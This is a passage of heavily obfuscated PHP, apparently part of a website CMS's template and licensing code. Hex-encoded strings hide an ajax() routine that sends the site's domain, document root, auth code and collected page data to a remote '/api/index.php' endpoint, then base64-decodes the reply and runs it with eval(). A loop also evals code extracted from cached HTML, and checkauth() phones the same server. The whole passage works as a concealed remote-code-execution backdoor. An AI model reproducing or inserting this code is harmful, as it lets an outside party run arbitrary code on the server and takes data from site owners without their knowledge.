E4kx3w;E4kldMhx3x:$E4kcVvP6=$GLOBALS[tCRFOAv][3];E4kx3w:$E4keFvP5=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP6));unset($E4kcVvP9);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx4z;goto E4kldMhx4z;E4keWjgx4z:$E4kcVvP9=&$GLOBALS[tCRFOAv][05];goto E4kx3y;E4kldMhx4z:$E4kcVvP9=$GLOBALS[tCRFOAv][05];E4kx3y:$E4keFvP8=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP9));unset($E4kcVvP12);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx42;goto E4kldMhx42;E4keWjgx42:$E4kcVvP12=&$GLOBALS[tCRFOAv][07];goto E4kx41;E4kldMhx42:$E4kcVvP12=$GLOBALS[tCRFOAv][07];E4kx41:$E4keFvP11=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP12));unset($E4kcVvP15);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx44;goto E4kldMhx44;E4keWjgx44:$E4kcVvP15=&$GLOBALS[tCRFOAv][0x15];goto E4kx43;E4kldMhx44:$E4kcVvP15=$GLOBALS[tCRFOAv][0x15];E4kx43:$E4keFvP14=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP15));unset($E4kcVvP18);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx46;goto E4kldMhx46;E4keWjgx46:$E4kcVvP18=&$GLOBALS[tCRFOAv][10];goto E4kx45;E4kldMhx46:$E4kcVvP18=$GLOBALS[tCRFOAv][10];E4kx45:$E4keFvP17=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP18));$E4keFvP20=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{014}));$E4keFvP21=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{0x16}));unset($E4kcVvP23);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx48;goto E4kldMhx48;E4keWjgx48:$E4kcVvP23=&$GLOBALS[tCRFOAv][0x17];goto E4kx47;E4kldMhx48:$E4kcVvP23=$GLOBALS[tCRFOAv][0x17];E4kx47:$E4keFvP22=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP23));$E4keFvP25=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{030}));$E4keFvPvP26=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{18}));$E4keFvP27=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{031}));$E4kzA28=array();$E4kzA28[$E4keFvP0]=$E4keFvP3;$E4kzA28[$E4keFvP4]=$H_data;$E4kzA28[$E4keFvP5]=$N_count;$E4kzA28[$E4keFvP8]=$P_count;$E4kzA28[$E4keFvP11]=$M_count;$E4kzA28[$E4keFvP14]=$S_count;$E4kzA28[$E4keFvP17]=$L_count;$E4kzA28[$E4keFvP20]=$L_sum;$E4kzA28[$E4keFvP21]=$type;$E4kzA28[$E4keFvP22]=$md5;$E4kzA28[$E4keFvP25]=$_SERVER[$E4keFvPvP26];$E4kzA28[$E4keFvP27]=$t;unset($E4ktIA0);$data=$E4kzA28;$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{032}));$E4keFvPvPvP1=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{18}));$E4keFvPvP2=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{0x1B}));unset($E4kcVvP4);if(is_array($_SERVER))goto E4keWjgx4f;goto E4kldMhx4f;E4keWjgx4f:$E4kcVvP4=&$_SERVER[$E4keFvPvPvP1];goto E4kx4e;E4kldMhx4f:$E4kcVvP4=$_SERVER[$E4keFvPvPvP1];E4kx4e:$E4keFvP3=call_user_func_array("splitx",array(&$E4kcVvP4,&$E4keFvPvP2,0));$E4kvPA0=$E4keFvP0 . $E4keFvP3;$E4kvPA1=$E4kvPA0 . $t;unset($E4kcVvP6);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx4d;goto E4kldMhx4d;E4keWjgx4d:$E4kcVvP6=&$GLOBALS[tCRFOAv][0x1C];goto E4kx4c;E4kldMhx4d:$E4kcVvP6=$GLOBALS[tCRFOAv][0x1C];E4kx4c:$E4keFvP5=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP6));$E4kvPA2=$E4kvPA1 . $E4keFvP5;$E4kvPA3=$E4kvPA2 . $type;unset($E4kcVvP8);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx4b;goto E4kldMhx4b;E4keWjgx4b:$E4kcVvP8=&$GLOBALS[tCRFOAv][29];goto E4kx4a;E4kldMhx4b:$E4kcVvP8=$GLOBALS[tCRFOAv][29];E4kx4a:$E4keFvP7=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP8));$E4kvPA4=$E4kvPA3 . $E4keFvP7;$E4keF12=call_user_func_array("is_file",array(&$E4kvPA4));if($E4keF12)goto E4keWjgx4g;goto E4kldMhx4g;E4keWjgx4g:$E4keFvPvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{032}));$E4keFvPvPvPvP1=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{18}));$E4keFvPvPvP2=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{0x1B}));unset($E4kcVvPvP4);if(is_array($_SERVER))goto E4keWjgx4n;goto E4kldMhx4n;E4keWjgx4n:$E4kcVvPvP4=&$_SERVER[$E4keFvPvPvPvP1];goto E4kx4m;E4kldMhx4n:$E4kcVvPvP4=$_SERVER[$E4keFvPvPvPvP1];E4kx4m:$E4keFvPvP3=call_user_func_array("splitx",array(&$E4kcVvPvP4,&$E4keFvPvPvP2,0));$E4kvPvPA0=$E4keFvPvP0 . $E4keFvPvP3;$E4kvPvPA1=$E4kvPvPA0 . $t;unset($E4kcVvPvP6);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx4l;goto E4kldMhx4l;E4keWjgx4l:$E4kcVvPvP6=&$GLOBALS[tCRFOAv][0x1C];goto E4kx4k;E4kldMhx4l:$E4kcVvPvP6=$GLOBALS[tCRFOAv][0x1C];E4kx4k:$E4keFvPvP5=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvPvP6));$E4kvPvPA2=$E4kvPvPA1 . $E4keFvPvP5;$E4kvPvPA3=$E4kvPvPA2 . $type;unset($E4kcVvPvP8);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx4j;goto E4kldMhx4j;E4keWjgx4j:$E4kcVvPvP8=&$GLOBALS[tCRFOAv][29];goto E4kx4i;E4kldMhx4j:$E4kcVvPvP8=$GLOBALS[tCRFOAv][29];E4kx4i:$E4keFvPvP7=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvPvP8));$E4kvPvPA4=$E4kvPvPA3 . $E4keFvPvP7;$E4keFvP12=call_user_func_array("file_get_contents",array(&$E4kvPvPA4));$E4keF13=call_user_func_array("substr",array(&$E4keFvP12,0,32));$E4kA5=$E4keF13!=$md5;if($E4kA5)goto E4keWjgx4o;goto E4kldMhx4o;E4keWjgx4o:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{30}));$E4keFvPvP1=call_user_func_array("json_encode",array(&$data));$E4keFvP2=call_user_func_array("base64_encode",array(&$E4keFvPvP1));$E4keF3=call_user_func_array("ajax",array(&$E4keFvP0,&$E4keFvP2));goto E4kx4h;E4kldMhx4o:E4kx4h:goto E4kx49;E4kldMhx4g:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{30}));$E4keFvPvP1=call_user_func_array("json_encode",array(&$data));$E4keFvP2=call_user_func_array("base64_encode",array(&$E4keFvPvP1));$E4keF3=call_user_func_array("ajax",array(&$E4keFvP0,&$E4keFvP2));E4kx49:$E4keFvPvPvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{032}));$E4keFvPvPvPvPvP1=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{18}));$E4keFvPvPvPvP2=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{0x1B}));unset($E4kcVvPvPvP4);if(is_array($_SERVER))goto E4keWjgx4u;goto E4kldMhx4u;E4keWjgx4u:$E4kcVvPvPvP4=&$_SERVER[$E4keFvPvPvPvPvP1];goto E4kx4t;E4kldMhx4u:$E4kcVvPvPvP4=$_SERVER[$E4keFvPvPvPvPvP1];E4kx4t:$E4keFvPvPvP3=call_user_func_array("splitx",array(&$E4kcVvPvPvP4,&$E4keFvPvPvPvP2,0));$E4kvPvPvPA0=$E4keFvPvPvP0 . $E4keFvPvPvP3;$E4kvPvPvPA1=$E4kvPvPvPA0 . $t;unset($E4kcVvPvPvP6);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx4s;goto E4kldMhx4s;E4keWjgx4s:$E4kcVvPvPvP6=&$GLOBALS[tCRFOAv][0x1C];goto E4kx4r;E4kldMhx4s:$E4kcVvPvPvP6=$GLOBALS[tCRFOAv][0x1C];E4kx4r:$E4keFvPvPvP5=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvPvPvP6));$E4kvPvPvPA2=$E4kvPvPvPA1 . $E4keFvPvPvP5;$E4kvPvPvPA3=$E4kvPvPvPA2 . $type;unset($E4kcVvPvPvP8);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx4q;goto E4kldMhx4q;E4keWjgx4q:$E4kcVvPvPvP8=&$GLOBALS[tCRFOAv][29];goto E4kx4p;E4kldMhx4q:$E4kcVvPvPvP8=$GLOBALS[tCRFOAv][29];E4kx4p:$E4keFvPvPvP7=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvPvPvP8));$E4kvPvPvPA4=$E4kvPvPvPA3 . $E4keFvPvPvP7;$E4keFvPvP12=call_user_func_array("file_get_contents",array(&$E4kvPvPvPA4));$E4keFvP13=call_user_func_array("substr",array(&$E4keFvPvP12,32));$E4keF14=call_user_func_array("base64_decode",array(&$E4keFvP13));unset($E4ktIA5);$html=$E4keF14;unset($E4kcVvP1);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx4w;goto E4kldMhx4w;E4keWjgx4w:$E4kcVvP1=&$GLOBALS[tCRFOAv][037];goto E4kx4v;E4kldMhx4w:$E4kcVvP1=$GLOBALS[tCRFOAv][037];E4kx4v:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP1));$E4keF3=call_user_func_array("preg_match_all",array(&$E4keFvP0,&$html,&$arr));foreach($arr[0]as $value){unset($E4kcVvP1);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx4y;goto E4kldMhx4y;E4keWjgx4y:$E4kcVvP1=&$GLOBALS[tCRFOAv][040];goto E4kx4x;E4kldMhx4y:$E4kcVvP1=$GLOBALS[tCRFOAv][040];E4kx4x:$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP1));$E4keFvP3=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{33}));$E4keF4=call_user_func_array("str_replace",array(&$E4keFvP0,&$E4keFvP3,&$value));unset($E4ktIA0);$v=$E4keF4;$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{0x22}));$E4keFvP1=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{33}));$E4keF2=call_user_func_array("str_replace",array(&$E4keFvP0,&$E4keFvP1,&$v));unset($E4ktIA0);$v=$E4keF2;$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{35}));unset($E4kcVvP2);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx51;goto E4kldMhx51;E4keWjgx51:$E4kcVvP2=&$GLOBALS[tCRFOAv][36];goto E4kx5z;E4kldMhx51:$E4kcVvP2=$GLOBALS[tCRFOAv][36];E4kx5z:$E4keFvP1=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP2));$E4keF4=call_user_func_array("str_replace",array(&$E4keFvP0,&$E4keFvP1,&$v));unset($E4ktIA0);$v=$E4keF4;$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{37}));unset($E4kcVvP2);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx53;goto E4kldMhx53;E4keWjgx53:$E4kcVvP2=&$GLOBALS[tCRFOAv][046];goto E4kx52;E4kldMhx53:$E4kcVvP2=$GLOBALS[tCRFOAv][046];E4kx52:$E4keFvP1=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP2));$E4keF4=call_user_func_array("str_replace",array(&$E4keFvP0,&$E4keFvP1,&$v));unset($E4ktIA0);$v=$E4keF4;$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{047}));unset($E4kcVvP2);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx55;goto E4kldMhx55;E4keWjgx55:$E4kcVvP2=&$GLOBALS[tCRFOAv][0x28];goto E4kx54;E4kldMhx55:$E4kcVvP2=$GLOBALS[tCRFOAv][0x28];E4kx54:$E4keFvP1=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP2));$E4keF4=call_user_func_array("str_replace",array(&$E4keFvP0,&$E4keFvP1,&$v));unset($E4ktIA0);$v=$E4keF4;$E4keFvP0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{0x29}));unset($E4kcVvP2);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx57;goto E4kldMhx57;E4keWjgx57:$E4kcVvP2=&$GLOBALS[tCRFOAv][0x2A];goto E4kx56;E4kldMhx57:$E4kcVvP2=$GLOBALS[tCRFOAv][0x2A];E4kx56:$E4keFvP1=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcVvP2));$E4keF4=call_user_func_array("str_replace",array(&$E4keFvP0,&$E4keFvP1,&$v));unset($E4ktIA0);$v=$E4keF4;eval($v);$E4keF0=call_user_func_array("str_replace",array(&$value,&$api,&$html));unset($E4ktIA0);$html=$E4keF0;$E4keF0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{33}));unset($E4ktIA0);$api=$E4keF0;}$E4keF0=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{43}));$E4kA0=$html . $E4keF0;$E4keFvPvP1=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{0x16}));unset($E4kcV3);if(is_array($_GET))goto E4keWjgx5d;goto E4kldMhx5d;E4keWjgx5d:$E4kcV3=&$_GET[$E4keFvPvP1];goto E4kx5c;E4kldMhx5d:$E4kcV3=$_GET[$E4keFvPvP1];E4kx5c:$E4keF2=call_user_func_array("t",array(&$E4kcV3));$E4kA1=$E4kA0 . $E4keF2;unset($E4kcV5);if(is_array($GLOBALS[tCRFOAv]))goto E4keWjgx5b;goto E4kldMhx5b;E4keWjgx5b:$E4kcV5=&$GLOBALS[tCRFOAv][054];goto E4kx5a;E4kldMhx5b:$E4kcV5=$GLOBALS[tCRFOAv][054];E4kx5a:$E4keF4=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},&$E4kcV5));$E4kA2=$E4kA1 . $E4keF4;$E4keFvPvP6=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{055}));unset($E4kcV8);if(is_array($_GET))goto E4keWjgx59;goto E4kldMhx59;E4keWjgx59:$E4kcV8=&$_GET[$E4keFvPvP6];goto E4kx58;E4kldMhx59:$E4kcV8=$_GET[$E4keFvPvP6];E4kx58:$E4keF7=call_user_func_array("intval",array(&$E4kcV8));$E4kA3=$E4kA2 . $E4keF7;$E4keF9=call_user_func_array("pack",array($GLOBALS[tCRFOAv]{0},$GLOBALS[tCRFOAv]{46}));$E4kA4=$E4kA3 . $E4keF9;unset($E4ktIA5);$html=$E4kA4;return $html;}function ajax($action,$data=""){$E4kA0=!defined("jLEecKJ");if($E4kA0)goto E4keWjgx5f;goto E4kldMhx5f;E4keWjgx5f:$E4keF0=call_user_func_array("define",array("jLEecKJ","GkfGNdJ"));goto E4kx5e;E4kldMhx5f:E4kx5e:$E4keF0=call_user_func_array("explode",array("|Q|.|D","H*|Q|.|D|Q|.|D485454505F484F5354|Q|.|D2F6170692F696E6465782E7068703F616374696F6E3D|Q|.|D646F6D61696E3D|Q|.|D26726F6F743D|Q|.|D444F43554D454E545F524F4F54|Q|.|D2661757468636F64653D|Q|.|D26646174613D"));unset($E4ktIA0);$GLOBALS[jLEecKJ]=$E4keF0;global $conn,$C_authcode,$C_fdomain,$C_fzon,$from;unset($E4kcV1);if(is_array($GLOBALS[jLEecKJ]))goto E4keWjgx5s;goto E4kldMhx5s;E4keWjgx5s:$E4kcV1=&$GLOBALS[jLEecKJ][00];goto E4kx5r;E4kldMhx5s:$E4kcV1=$GLOBALS[jLEecKJ][00];E4kx5r:unset($E4kcV2);if(is_array($GLOBALS[jLEecKJ]))goto E4keWjgx5q;goto E4kldMhx5q;E4keWjgx5q:$E4kcV2=&$GLOBALS[jLEecKJ][0x1];goto E4kx5p;E4kldMhx5q:$E4kcV2=$GLOBALS[jLEecKJ][0x1];E4kx5p:$E4keF0=call_user_func_array("pack",array(&$E4kcV1,&$E4kcV2));$E4kA0=$C_fdomain!=$E4keF0;$E4kA2=(bool)$E4kA0;if($E4kA2)goto E4keWjgx5o;goto E4kldMhx5o;E4keWjgx5o:$E4kA1=$C_fzon==1;$E4kA2=(bool)$E4kA1;goto E4kx5n;E4kldMhx5o:E4kx5n:$E4kA4=(bool)$E4kA2;if($E4kA4)goto E4keWjgx5m;goto E4kldMhx5m;E4keWjgx5m:$E4keF3=call_user_func_array("www",array(&$C_fdomain));unset($E4kcVvPvP5);if(is_array($GLOBALS[jLEecKJ]))goto E4keWjgx5i;goto E4kldMhx5i;E4keWjgx5i:$E4kcVvPvP5=&$GLOBALS[jLEecKJ][00];goto E4kx5h;E4kldMhx5i:$E4kcVvPvP5=$GLOBALS[jLEecKJ][00];E4kx5h:$E4keFvPvP4=call_user_func_array("pack",array(&$E4kcVvPvP5,$GLOBALS[jLEecKJ]{2}));unset($E4kcV8);if(is_array($_SERVER))goto E4keWjgx5k;goto E4kldMhx5k;E4keWjgx5k:$E4kcV8=&$_SERVER[$E4keFvPvP4];goto E4kx5j;E4kldMhx5k:$E4kcV8=$_SERVER[$E4keFvPvP4];E4kx5j:$E4keF7=call_user_func_array("www",array(&$E4kcV8));$E4kA3=$E4keF3!=$E4keF7;$E4kA4=(bool)$E4kA3;goto E4kx5l;E4kldMhx5m:E4kx5l:if($E4kA4)goto E4keWjgx5t;goto E4kldMhx5t;E4keWjgx5t:unset($E4ktIA0);$domain=$C_fdomain;goto E4kx5g;E4kldMhx5t:unset($E4kcVvP1);if(is_array($GLOBALS[jLEecKJ]))goto E4keWjgx5v;goto E4kldMhx5v;E4keWjgx5v:$E4kcVvP1=&$GLOBALS[jLEecKJ][00];goto E4kx5u;E4kldMhx5v:$E4kcVvP1=$GLOBALS[jLEecKJ][00];E4kx5u:$E4keFvP0=call_user_func_array("pack",array(&$E4kcVvP1,$GLOBALS[jLEecKJ]{2}));unset($E4ktIA0);$domain=$_SERVER[$E4keFvP0];E4kx5g:unset($E4kcVvP1);if(is_array($GLOBALS[jLEecKJ]))goto E4keWjgx5x;goto E4kldMhx5x;E4keWjgx5x:$E4kcVvP1=&$GLOBALS[jLEecKJ][00];goto E4kx5w;E4kldMhx5x:$E4kcVvP1=$GLOBALS[jLEecKJ][00];E4kx5w:$E4keFvP0=call_user_func_array("pack",array(&$E4kcVvP1,$GLOBALS[jLEecKJ]{03}));$E4kvPA0=$from . $E4keFvP0;$E4kvPA1=$E4kvPA0 . $action;unset($E4kcVvP4);if(is_array($GLOBALS[jLEecKJ]))goto E4keWjgx6a;goto E4kldMhx6a;E4keWjgx6a:$E4kcVvP4=&$GLOBALS[jLEecKJ][00];goto E4kx69;E4kldMhx6a:$E4kcVvP4=$GLOBALS[jLEecKJ][00];E4kx69:$E4keFvP3=call_user_func_array("pack",array(&$E4kcVvP4,$GLOBALS[jLEecKJ]{4}));$E4kvPA2=$E4keFvP3 . $domain;unset($E4kcVvP6);if(is_array($GLOBALS[jLEecKJ]))goto E4keWjgx68;goto E4kldMhx68;E4keWjgx68:$E4kcVvP6=&$GLOBALS[jLEecKJ][00];goto E4kx67;E4kldMhx68:$E4kcVvP6=$GLOBALS[jLEecKJ][00];E4kx67:unset($E4kcVvP7);if(is_array($GLOBALS[jLEecKJ]))goto E4keWjgx66;goto E4kldMhx66;E4keWjgx66:$E4kcVvP7=&$GLOBALS[jLEecKJ][0x5];goto E4kx65;E4kldMhx66:$E4kcVvP7=$GLOBALS[jLEecKJ][0x5];E4kx65:$E4keFvP5=call_user_func_array("pack",array(&$E4kcVvP6,&$E4kcVvP7));$E4kvPA3=$E4kvPA2 . $E4keFvP5;unset($E4kcVvPvP9);if(is_array($GLOBALS[jLEecKJ]))goto E4keWjgx6z;goto E4kldMhx6z;E4keWjgx6z:$E4kcVvPvP9=&$GLOBALS[jLEecKJ][00];goto E4kx5y;E4kldMhx6z:$E4kcVvPvP9=$GLOBALS[jLEecKJ][00];E4kx5y:$E4keFvPvP8=call_user_func_array("pack",array(&$E4kcVvPvP9,$GLOBALS[jLEecKJ]{0x6}));$E4kvPA4=$E4kvPA3 . $_SERVER[$E4keFvPvP8];unset($E4kcVvP12);if(is_array($GLOBALS[jLEecKJ]))goto E4keWjgx64;goto E4kldMhx64;E4keWjgx64:$E4kcVvP12=&$GLOBALS[jLEecKJ][00];goto E4kx63;E4kldMhx64:$E4kcVvP12=$GLOBALS[jLEecKJ][00];E4kx63:$E4keFvP11=call_user_func_array("pack",array(&$E4kcVvP12,$GLOBALS[jLEecKJ]{7}));$E4kvPA5=$E4kvPA4 . $E4keFvP11;$E4kvPA6=$E4kvPA5 . $C_authcode;unset($E4kcVvP14);if(is_array($GLOBALS[jLEecKJ]))goto E4keWjgx62;goto E4kldMhx62;E4keWjgx62:$E4kcVvP14=&$GLOBALS[jLEecKJ][00];goto E4kx61;E4kldMhx62:$E4kcVvP14=$GLOBALS[jLEecKJ][00];E4kx61:$E4keFvP13=call_user_func_array("pack",array(&$E4kcVvP14,$GLOBALS[jLEecKJ]{010}));$E4kvPA7=$E4kvPA6 . $E4keFvP13;$E4keFvP15=call_user_func_array("urlencode",array(&$data));$E4kvPA8=$E4kvPA7 . $E4keFvP15;$E4keF21=call_user_func_array("getbody",array(&$E4kvPA1,&$E4kvPA8));unset($E4ktIA9);$info=$E4keF21;$E4keF0=call_user_func_array("base64_decode",array(&$info));eval($E4keF0);}function checkauth(){$E4kA0=!defined("wQBAbrJ");if($E4kA0)goto E4keWjgx6c;goto E4kldMhx6c;E4keWjgx6c:$E4keF0=call_user_func_array("define",array("wQBAbrJ","vgWcPkJ"));goto E4kx6b;E4kldMhx6c:E4kx6b:$E4keF0=call_user_func_array("explode",array("|8|u|U","H*|8|u|U61757468|8|u|U|8|u|U485454505F484F5354|8|u|U2F6170692F696E6465782E7068703F616374696F6E3D636865636B6175746826646F6D61696E3D|8|u|U61757468636F64653D|8|u|U73756363657373"));unset($E4ktIA0);$GLOBALS[wQBAbrJ]=$E4keF0;global $conn,$C_authcode,$C_fdomain,$C_fzon,$from;unset($E4kcVvP1);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx6h;goto E4kldMhx6h;E4keWjgx6h:$E4kcVvP1=&$GLOBALS[wQBAbrJ][0];goto E4kx6g;E4kldMhx6h:$E4kcVvP1=$GLOBALS[wQBAbrJ][0];E4kx6g:unset($E4kcVvP2);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx6f;goto E4kldMhx6f;E4keWjgx6f:$E4kcVvP2=&$GLOBALS[wQBAbrJ][01];goto E4kx6e;E4kldMhx6f:$E4kcVvP2=$GLOBALS[wQBAbrJ][01];E4kx6e:$E4keFvP0=call_user_func_array("pack",array(&$E4kcVvP1,&$E4kcVvP2));unset($E4kcV6);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx6l;goto E4kldMhx6l;E4keWjgx6l:$E4kcV6=&$GLOBALS[wQBAbrJ][0];goto E4kx6k;E4kldMhx6l:$E4kcV6=$GLOBALS[wQBAbrJ][0];E4kx6k:unset($E4kcV7);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx6j;goto E4kldMhx6j;E4keWjgx6j:$E4kcV7=&$GLOBALS[wQBAbrJ][01];goto E4kx6i;E4kldMhx6j:$E4kcV7=$GLOBALS[wQBAbrJ][01];E4kx6i:$E4keF5=call_user_func_array("pack",array(&$E4kcV6,&$E4kcV7));$E4kA0=$_SESSION[$E4keFvP0]==$E4keF5;if($E4kA0)goto E4keWjgx6m;goto E4kldMhx6m;E4keWjgx6m:return true;goto E4kx6d;E4kldMhx6m:unset($E4kcV1);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx6x;goto E4kldMhx6x;E4keWjgx6x:$E4kcV1=&$GLOBALS[wQBAbrJ][0];goto E4kx6w;E4kldMhx6x:$E4kcV1=$GLOBALS[wQBAbrJ][0];E4kx6w:$E4keF0=call_user_func_array("pack",array(&$E4kcV1,$GLOBALS[wQBAbrJ]{2}));$E4kA0=$C_fdomain!=$E4keF0;$E4kA2=(bool)$E4kA0;if($E4kA2)goto E4keWjgx6v;goto E4kldMhx6v;E4keWjgx6v:$E4kA1=$C_fzon==1;$E4kA2=(bool)$E4kA1;goto E4kx6u;E4kldMhx6v:E4kx6u:$E4kA4=(bool)$E4kA2;if($E4kA4)goto E4keWjgx6t;goto E4kldMhx6t;E4keWjgx6t:$E4keF2=call_user_func_array("www",array(&$C_fdomain));unset($E4kcVvPvP4);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx6p;goto E4kldMhx6p;E4keWjgx6p:$E4kcVvPvP4=&$GLOBALS[wQBAbrJ][0];goto E4kx6o;E4kldMhx6p:$E4kcVvPvP4=$GLOBALS[wQBAbrJ][0];E4kx6o:$E4keFvPvP3=call_user_func_array("pack",array(&$E4kcVvPvP4,$GLOBALS[wQBAbrJ]{3}));unset($E4kcV7);if(is_array($_SERVER))goto E4keWjgx6r;goto E4kldMhx6r;E4keWjgx6r:$E4kcV7=&$_SERVER[$E4keFvPvP3];goto E4kx6q;E4kldMhx6r:$E4kcV7=$_SERVER[$E4keFvPvP3];E4kx6q:$E4keF6=call_user_func_array("www",array(&$E4kcV7));$E4kA3=$E4keF2!=$E4keF6;$E4kA4=(bool)$E4kA3;goto E4kx6s;E4kldMhx6t:E4kx6s:if($E4kA4)goto E4keWjgx6y;goto E4kldMhx6y;E4keWjgx6y:unset($E4ktIA0);$domain=$C_fdomain;goto E4kx6n;E4kldMhx6y:unset($E4kcVvP1);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx71;goto E4kldMhx71;E4keWjgx71:$E4kcVvP1=&$GLOBALS[wQBAbrJ][0];goto E4kx7z;E4kldMhx71:$E4kcVvP1=$GLOBALS[wQBAbrJ][0];E4kx7z:$E4keFvP0=call_user_func_array("pack",array(&$E4kcVvP1,$GLOBALS[wQBAbrJ]{3}));unset($E4ktIA0);$domain=$_SERVER[$E4keFvP0];E4kx6n:unset($E4kcVvP1);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx75;goto E4kldMhx75;E4keWjgx75:$E4kcVvP1=&$GLOBALS[wQBAbrJ][0];goto E4kx74;E4kldMhx75:$E4kcVvP1=$GLOBALS[wQBAbrJ][0];E4kx74:unset($E4kcVvP2);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx73;goto E4kldMhx73;E4keWjgx73:$E4kcVvP2=&$GLOBALS[wQBAbrJ][0x4];goto E4kx72;E4kldMhx73:$E4kcVvP2=$GLOBALS[wQBAbrJ][0x4];E4kx72:$E4keFvP0=call_user_func_array("pack",array(&$E4kcVvP1,&$E4kcVvP2));$E4kvPA0=$from . $E4keFvP0;$E4kvPA1=$E4kvPA0 . $domain;unset($E4kcVvP6);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx77;goto E4kldMhx77;E4keWjgx77:$E4kcVvP6=&$GLOBALS[wQBAbrJ][0];goto E4kx76;E4kldMhx77:$E4kcVvP6=$GLOBALS[wQBAbrJ][0];E4kx76:$E4keFvP5=call_user_func_array("pack",array(&$E4kcVvP6,$GLOBALS[wQBAbrJ]{0x5}));$E4kvPA2=$E4keFvP5 . $C_authcode;$E4keF8=call_user_func_array("getbody",array(&$E4kvPA1,&$E4kvPA2));unset($E4ktIA3);$callback=$E4keF8;unset($E4kcV1);if(is_array($GLOBALS[wQBAbrJ]))goto E4keWjgx7c;goto 